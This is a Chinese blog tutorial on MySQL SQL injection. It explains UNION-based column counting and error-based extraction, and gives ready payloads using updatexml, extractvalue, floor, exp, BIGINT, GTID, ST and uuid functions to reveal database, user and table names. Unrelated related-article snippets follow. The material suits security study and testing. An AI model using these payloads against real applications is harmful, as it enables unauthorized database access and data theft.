当前位置: 首页 > news >正文

MySQL注入秘籍【上篇】

MySQL注入秘籍【上篇】

  • 1.数据库敏感信息常用语句
  • 2.联合(UNION)查询注入
  • 3.报错注入
    • 原理
    • 常见报错注入函数

1.数据库敏感信息常用语句

获取数据库版本信息

select version();
select @@innodb_version;

获取当前用户

select user();

获取当前数据库

select database()

数据路径

select @@datadir;

获取所有数据库

select schema_name from information_schema.schemata;

查看表结构

desc mysql.user

获取所有用户信息

select * from mysql.user

获取当前数据库的表名

desc information_schema.tables;select table_name from information_schema.tables where table_schema = database();select group_concat(table_name) from information_schema.tables where table_schema = database();

获取当前数据库的某表的列名

select column_name from information_schema.columns where table_name = '表名';
select group_concat(column_name) from information_schema.columns where table_name = '表名';

获取当前数据库中某列的值

select id ,username,password from users;

查询DBA账户(一般root)

select host, user from mysql.user where super_priv = 'y';

2.联合(UNION)查询注入

通常使用联合查询注入法,其作用就是,在原来查询条件的基础上,通过关键字union、union all拼接恶意SQL语句,union后面的select得到的结果将拼接到前个select的结果的后面

正常情况下,SQL语句的union联合查询常用格式如下

select 1,2,3 from xxx union select 4,5,6 from vuls;/*
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 |
| 4 | 5 | 6 |
+---+---+---+
*/

在注入过程中,我们把union select 4,5,6 from vuls部分称作是union注入部分,它的主要特点是通过union和前面一条SQL语句拼接,并构造其列数与前面的SQL语句列数相同,如1,2,3和4,5,6均为3列。我们把这种注入方式称为union注入。

注入流程:

1、确认列数: 我们union查询前后的字段数必须是一样的才能查询,因此我们的第一步,就是通过order by或者group by获取当前查询的字段数;

1' order by 3 -- -

返回正常,说明前面查询的列数 >= 3

在这里插入图片描述

1' order by 4 -- -

返回不正常,说明前面查询的列数 < 4(不正常可能是直接抛出异常,也可能是返回空内容等)

在这里插入图片描述

因此说明此处的查询列数为3

2、判断显位: 既然已经知道了查询列数了,那我们就需要判断哪些列的内容是可以显示到前端的,因为能显示到前端的字段,我们在利用时也能直接显示我们想要的数据

我们只需要让union查询前半部分的内容为空即可

-1' union select 1,2,3 -- -

在这里插入图片描述

可以看到2、3这两列为显位

3、获取数据: 已经知道哪些列可以显示出来了,直接替换为我们的sql语句即可

首先查询当前数据库名database()、数据库账号user()、数据库版本version()等基本信息,再根据不同版本,不同的权限来确定接下来的方法

例如:

-1' union select 1,database(),user() -- -

在这里插入图片描述

接下来,请尽情的拼接你想要的SQL语句吧!

扩展:limit注入点字段数判断:

如果注入点在limit后,想要判断字段数,可通过into @,@的手法,其中@为mysql的临时变量

select * from user limit 1 into @,@;

在这里插入图片描述


3.报错注入

原理

服务器会将数据库执行产生的异常信息抛出显示到前端,这个时候我们人为地制造错误条件,就可以让查询结果能够出现在错误信息中

注入流程:

直接查询数据库,不需要判断字段数、显位等;查询语句和UNION一样,毕竟都是从数据库中查询数据,此处举几个例子说明即可

1、确认闭合,使用报错注入前,我们要确定参数值是可以闭合的

1' and '1'='1

在这里插入图片描述

2、利用,灵活利用payload查询,通过报错查询数据库信息

查询数据库名

1' and updatexml(0x7e,concat(0x7e, (select database())),0x7e) and '1'='1

在这里插入图片描述

查询当前数据库所有的表名

1' and updatexml(0x7e,concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema = database())),0x7e) and '1'='1

在这里插入图片描述

常见报错注入函数

floor()

报错原理:

利用数据库表主键不能重复的原理,使用GROPU BY分组(分组会产生临时表,我我们只需要让临时表产生主键key重复即可),产生主键key冗余,导致报错

floor报错注入的利用,通俗点说就是利用concat()构造特殊的主键,当主键值不唯一时就报错并回显该主键值,主键值中就包含着我们想要的内容👡

常用payload:

获取数据库名

1' AND (SELECT 1 from(SELECT count(*),concat(0x23,database(),0x23,floor(rand(0)*2)) as x from information_schema.`COLUMNS` GROUP BY x)as y) -- -

获取表名

1' AND (SELECT 1 from(SELECT count(*),concat(0x23,(SELECT table_name from information_schema.TABLES WHERE table_schema = database() limit 0,1),0x23,floor(rand(0)*2)) as x from information_schema.COLUMNS GROUP BY x)as y) -- -

extractValue()

从目标XML中返回包含所查询值的字符串

函数语法:extractvalue(xml_frag,xpath_expr)

适用范围:>=5.1.5

报错原理:Xpath格式语法书写错误的话,就会报错,如下所示

mysql> SELECT extractvalue('<a><b>x</b><b>y</b></a>','/a/b') as result;
+--------+
| result |
+--------+
| x y    |
+--------+
1 row in set (0.00 sec)mysql> SELECT extractvalue('<a><b>x</b><b>y</b></a>','#aaa') as result;
ERROR 1105 (HY000): XPATH syntax error: '#aaa'

由于此报错注入和updatexml都只能爆最大32位,如果要爆出32位之后的数据,需要借助mid或者substr等切割函数进行字符截取从而显示32位以后的数据👢

payload:

1' and extractvalue(1,mid(concat(0x23,(SELECT group_concat(table_name) from information_schema.tables where table_schema = database()),0x23),1,32)) and '1'='1

在这里插入图片描述

updatexml()

函数语法:updatexml(XML_document,XPath_String,new_value)

适用范围:>=5.1.5

报错原理:Xpath格式语法书写错误的话,就会报错,同extractValue()

1' and updatexml(1,mid(concat(0x23,(SELECT group_concat(table_name) from information_schema.tables where table_schema = database()),0x23),1,32),1) and '1'='1

在这里插入图片描述

exp()

函数语法:exp(int x) -> 返回 e ^ x

适用范围:适用于mysql<=5.5.52

报错原理:e的x次方到x每增加1,其结果都将跨度极大,而mysql能记录的double数值范围有限,一旦结果超过范围,则该函数报错

在这里插入图片描述

将0按位取反,~0,可以看到取值为18446744073709551615,这个值就比double范围最大值要大,所以再利用mysql 函数正常取值之后会返回0的特性,那么当函数执行成功,然后按位取反之后得到的值直接造成double型溢出

在这里插入图片描述

payload:

1' and exp(~(select * from (select version())x)) and '1'='1

GTID相关函数

报错原理:参数格式不正确

适用范围:>=5.7

利用语句:

select GTID_SUBSET(user(),1);
select GTID_SUBTRACT(user(),1);

ST相关函数

报错原理:参数格式不正确

适用范围:>=5.7

利用语句:

select ST_LatFromGeoHash(version());
select ST_LongFromGeoHash(version());
select ST_PointFromGeoHash(version(),0);

BIGINT

报错原理:

当mysql数据库的某些边界数值进行数值运算时,会产生报错。

~0得到的结果:18446744073709551615

若此数参与运算,则很容易会错误

1' AND !(select * from(select user())a)-~0 -- -

uuid相关函数

适用范围:>=8.0

报错原理:参数格式不正确会导致报错

利用语句:

select uuid_to_bin((select database()));
select bin_to_uuid((select database()));

不存在的函数

报错原理:随便使用不存在的函数,可能会得到当前所在数据库的名称

利用语句:

select fff();

在这里插入图片描述

版权声明:本文教程基于d4m1ts知识库

相关文章:

MySQL注入秘籍【上篇】

MySQL注入秘籍【上篇】1.数据库敏感信息常用语句2.联合(UNION)查询注入3.报错注入原理常见报错注入函数1.数据库敏感信息常用语句 获取数据库版本信息 select version(); select innodb_version;获取当前用户 select user();获取当前数据库 select database()&#xff1b;数…...

简单三步解决动态规划难题,记好这三步,动态规划就不难

目录一、简单的一维DP剑指 Offer 10- I. 斐波那契数列1、三板斧解决问题2、优雅的解决问题剑指 Offer 63 股票的最大利润1、三板斧解决问题2、优雅的解决问题二、进阶的二维DP剑指offer47 礼物的最大价值1、三板斧解决问题2、优雅的解决问题编辑距离1、三板斧解决问题2、优雅的…...

算法进阶指南打卡

文章目录 基本算法 位运算递推与递归前缀和与差分二分排序倍增贪心总结与练习基本数据结构 栈队列链表与邻接表Hash字符串Tire二叉堆总结与练习搜索 树与图的遍历深度优先搜索剪枝迭代加深广度优先搜索广度变形A*IDA*总结与练习数学知识 质数约数同余矩阵乘法高斯消元与线性空…...

Chapter6.2:其他根轨迹及综合实例分析

该系列博客主要讲述Matlab软件在自动控制方面的应用&#xff0c;如无自动控制理论基础&#xff0c;请先学习自动控制系列博文&#xff0c;该系列博客不再详细讲解自动控制理论知识。 自动控制理论基础相关链接&#xff1a;https://blog.csdn.net/qq_39032096/category_10287468…...

3. 无重复字符的最长子串——滑动窗口

给定一个字符串 s &#xff0c;请你找出其中不含有重复字符的 最长子串 的长度。 示例 1: 输入: s "abcabcbb" 输出: 3 解释: 因为无重复字符的最长子串是 "abc"&#xff0c;所以其长度为 3。 示例 2: 输入: s "bbbbb" 输出: 1 解释: 因为无…...

ChatGPT研究分享:机器第一次开始理解人类世界

0、为什么会对ChatGPT感兴趣一开始&#xff0c;我对ChatGPT是没什么关注的&#xff0c;无非就是有更大的数据集&#xff0c;完成了更大规模的计算&#xff0c;所以能够回答更多的问题。但后来了解到几个案例&#xff0c;开始觉得这个事情并不简单。我先分别列举出来&#xff0c…...

可换皮肤的Qt登录界面

⭐️我叫忆_恒心,一名喜欢书写博客的在读研究生👨‍🎓。 如果觉得本文能帮到您,麻烦点个赞👍呗! 近期会不断在专栏里进行更新讲解博客~~~ 有什么问题的小伙伴 欢迎留言提问欧,喜欢的小伙伴给个三连支持一下呗。👍⭐️❤️ 可换皮肤的Qt登录界面 QSS的学习笔记 快…...

Spring的常见问题汇总

一、bean实例化1、构造方法底层是无参构造方法来new的对象。2、静态工厂实例化Bean实质上就是&#xff1a;创建一个静态工厂类&#xff0c;然后调用静态工厂类的静态方法&#xff0c;来创建对象。3、实例工厂与FactoryBean实质上就是&#xff1a;创建一个工厂类&#xff0c;工厂…...

yolov8训练筷子点数数据集

序言 yolov8发布这么久了&#xff0c;一直没有机会尝试一下&#xff0c;今天用之前自己制作的筷子点数数据集进行训练&#xff0c;并且记录一下使用过程以及一些常见的操作方式&#xff0c;供以后翻阅。 一、环境准备 yolov8的训练相对于之前的yolov5简单了很多&#xff0c;…...

使用 Python 从点云生成 3D 网格

从点云生成 3D 网格的最快方法 已经用 Python 编写了几个实现来从点云中获取网格。它们中的大多数的问题在于它们意味着设置许多难以调整的参数&#xff0c;尤其是在不是 3D 数据处理专家的情况下。在这个简短的指南中&#xff0c;我想展示从点云生成网格的最快和最简单的过程。…...

vue使用split()将字符串分割数组join()将数组转字符串reverse()将数组反转

1.split() 将字符串切割成数组 const str Hello Vue2 Vue3 console.log(str.split()) console.log(str.split()) console.log(str.split( )) console.log(str.split( , 2)) console.log(str.split( , 6))输出如下 1.split()不传参数默认整个字符串作为数组的一个元素&#xf…...

队列实现及leetcode相关OJ题

上一篇写的是栈这一篇分享队列实现及其与队列相关OJ题 文章目录一、队列概念及实现二、队列源码三、leetcode相关OJ一、队列概念及实现 1、队列概念 队列同栈一样也是一种特殊的数据结构&#xff0c;遵循先进先出的原则&#xff0c;例如&#xff1a;想象在独木桥上走着的人&am…...

【Log4j2远程命令执行复现CVE-2021-12-09】

目录 一、前言 二、漏洞环境构建 三、复现过程 一、前言 Log4j2是基于log4j这个java日志处理组件进行二次开发和改进而来的。也是目前最常用的日志框架之一&#xff0c;在之前的博客中&#xff08;http://t.csdn.cn/z9um4&#xff09;我们阐述了漏洞的原理和大致的利用方…...

Jenkins 平台搭建 | 为 Jenkins 配置 nginx 反向代理

以 Centos7 系统为例&#xff0c;详细记录一下 Jenkins 搭建流程。 参考官网&#xff1a;https://www.jenkins.io/doc/book/installing/linux/#red-hat-centos Install Jenkins 从 redhat-stable yum 存储库中安装 LTS&#xff08;长期支持&#xff09; 版本&#xff0c;该版…...

【云原生】Docker 架构及工作原理

一、Docker 概述二、Client 客户端三、Docker 引擎四、Image 镜像五、Container 容器六、镜像分层可写的容器层七、Volume 数据卷八、Registry 注册中心九、总结一、Docker 概述 Docker 是一个开发、发布和运行应用程序的开放平台。Docker使您能够将应用程序与基础架构分离&am…...

【Java 】Java NIO 底层原理

文章目录1、 Java IO读写原理1.1 内核缓冲与进程缓冲区1.2 java IO读写的底层流程2、 四种主要的IO模型3、 同步阻塞IO&#xff08;Blocking IO&#xff09;4、 同步非阻塞NIO&#xff08;None Blocking IO&#xff09;5、 IO多路复用模型(I/O multiplexing&#xff09;6、 异步…...

Vue基础27之VueUI组件

Vue基础27Vue UI组件库移动端常用 UI 组件库PC 端常用 UI 组件库Element-ui插件基本使用安装引入并使用main.jsApp.vue按需引入安装 babel-plugin-componentbabel.config.jsmain.jsApp.vueVue UI组件库 移动端常用 UI 组件库 Vant https://youzan.github.io/vant Cube UI htt…...

第35篇:Java代码规范全面总结

编程规范目的是帮助我们编写出简洁、可维护、可靠、可测试、高效、可移植的代码,提高产品代码的质量。 适当的规范和标准绝不是消灭代码内容的创造性、优雅性,而是限制过度个性化, 以一种普遍认可的统一方式一起做事,提升协作效率,降低沟通成本。 代码的字里行间流淌的是软…...

Cookie和Session详解

目录 前言&#xff1a; Session详解 Cookie和Session区别和关联 服务器组织会话的方式 使用Tomcat实现登录成功跳转到欢迎页面 登录前端页面 登录成功后端服务器 重定向到欢迎页面 抓包分析交互过程 小结&#xff1a; 前言&#xff1a; Cookie之前博客有介绍过&#x…...

Linux之磁盘分区、挂载

文章目录一、Linux分区●原理介绍●硬盘说明查看所有设备挂载情况挂载的经典案例二、磁盘情况查询基本语法应用实例磁盘情况-工作实用指令一、Linux分区 ●原理介绍 Linux来说无论有几个分区&#xff0c;分给哪一目录使用&#xff0c;它归根结底就只有一个根目录&#xff0c;…...

基于ASP.NET+ SQL Server实现(Web)医院信息管理系统

医院信息管理系统 1. 课程设计内容 在 visual studio 2017 平台上&#xff0c;开发一个“医院信息管理系统”Web 程序。 2. 课程设计目的 综合运用 c#.net 知识&#xff0c;在 vs 2017 平台上&#xff0c;进行 ASP.NET 应用程序和简易网站的开发&#xff1b;初步熟悉开发一…...

JVM垃圾回收机制全解析

Java虚拟机&#xff08;JVM&#xff09;中的垃圾收集器&#xff08;Garbage Collector&#xff0c;简称GC&#xff09;是用于自动管理内存的机制。它负责识别和清除不再被程序使用的对象&#xff0c;从而释放内存空间&#xff0c;避免内存泄漏和内存溢出等问题。垃圾收集器在Ja…...

【机器视觉】单目测距——运动结构恢复

ps&#xff1a;图是随便找的&#xff0c;为了凑个封面 前言 在前面对光流法进行进一步改进&#xff0c;希望将2D光流推广至3D场景流时&#xff0c;发现2D转3D过程中存在尺度歧义问题&#xff0c;需要补全摄像头拍摄图像中缺失的深度信息&#xff0c;否则解空间不收敛&#xf…...

【项目实战】通过多模态+LangGraph实现PPT生成助手

PPT自动生成系统 基于LangGraph的PPT自动生成系统&#xff0c;可以将Markdown文档自动转换为PPT演示文稿。 功能特点 Markdown解析&#xff1a;自动解析Markdown文档结构PPT模板分析&#xff1a;分析PPT模板的布局和风格智能布局决策&#xff1a;匹配内容与合适的PPT布局自动…...

linux 错误码总结

1,错误码的概念与作用 在Linux系统中,错误码是系统调用或库函数在执行失败时返回的特定数值,用于指示具体的错误类型。这些错误码通过全局变量errno来存储和传递,errno由操作系统维护,保存最近一次发生的错误信息。值得注意的是,errno的值在每次系统调用或函数调用失败时…...

Springcloud:Eureka 高可用集群搭建实战(服务注册与发现的底层原理与避坑指南)

引言&#xff1a;为什么 Eureka 依然是存量系统的核心&#xff1f; 尽管 Nacos 等新注册中心崛起&#xff0c;但金融、电力等保守行业仍有大量系统运行在 Eureka 上。理解其高可用设计与自我保护机制&#xff0c;是保障分布式系统稳定的必修课。本文将手把手带你搭建生产级 Eur…...

Unit 1 深度强化学习简介

Deep RL Course ——Unit 1 Introduction 从理论和实践层面深入学习深度强化学习。学会使用知名的深度强化学习库&#xff0c;例如 Stable Baselines3、RL Baselines3 Zoo、Sample Factory 和 CleanRL。在独特的环境中训练智能体&#xff0c;比如 SnowballFight、Huggy the Do…...

华为云Flexus+DeepSeek征文|DeepSeek-V3/R1 商用服务开通全流程与本地部署搭建

华为云FlexusDeepSeek征文&#xff5c;DeepSeek-V3/R1 商用服务开通全流程与本地部署搭建 前言 如今大模型其性能出色&#xff0c;华为云 ModelArts Studio_MaaS大模型即服务平台华为云内置了大模型&#xff0c;能助力我们轻松驾驭 DeepSeek-V3/R1&#xff0c;本文中将分享如何…...

3-11单元格区域边界定位(End属性)学习笔记

返回一个Range 对象&#xff0c;只读。该对象代表包含源区域的区域上端下端左端右端的最后一个单元格。等同于按键 End 向上键(End(xlUp))、End向下键(End(xlDown))、End向左键(End(xlToLeft)End向右键(End(xlToRight)) 注意&#xff1a;它移动的位置必须是相连的有内容的单元格…...

鸿蒙DevEco Studio HarmonyOS 5跑酷小游戏实现指南

1. 项目概述 本跑酷小游戏基于鸿蒙HarmonyOS 5开发&#xff0c;使用DevEco Studio作为开发工具&#xff0c;采用Java语言实现&#xff0c;包含角色控制、障碍物生成和分数计算系统。 2. 项目结构 /src/main/java/com/example/runner/├── MainAbilitySlice.java // 主界…...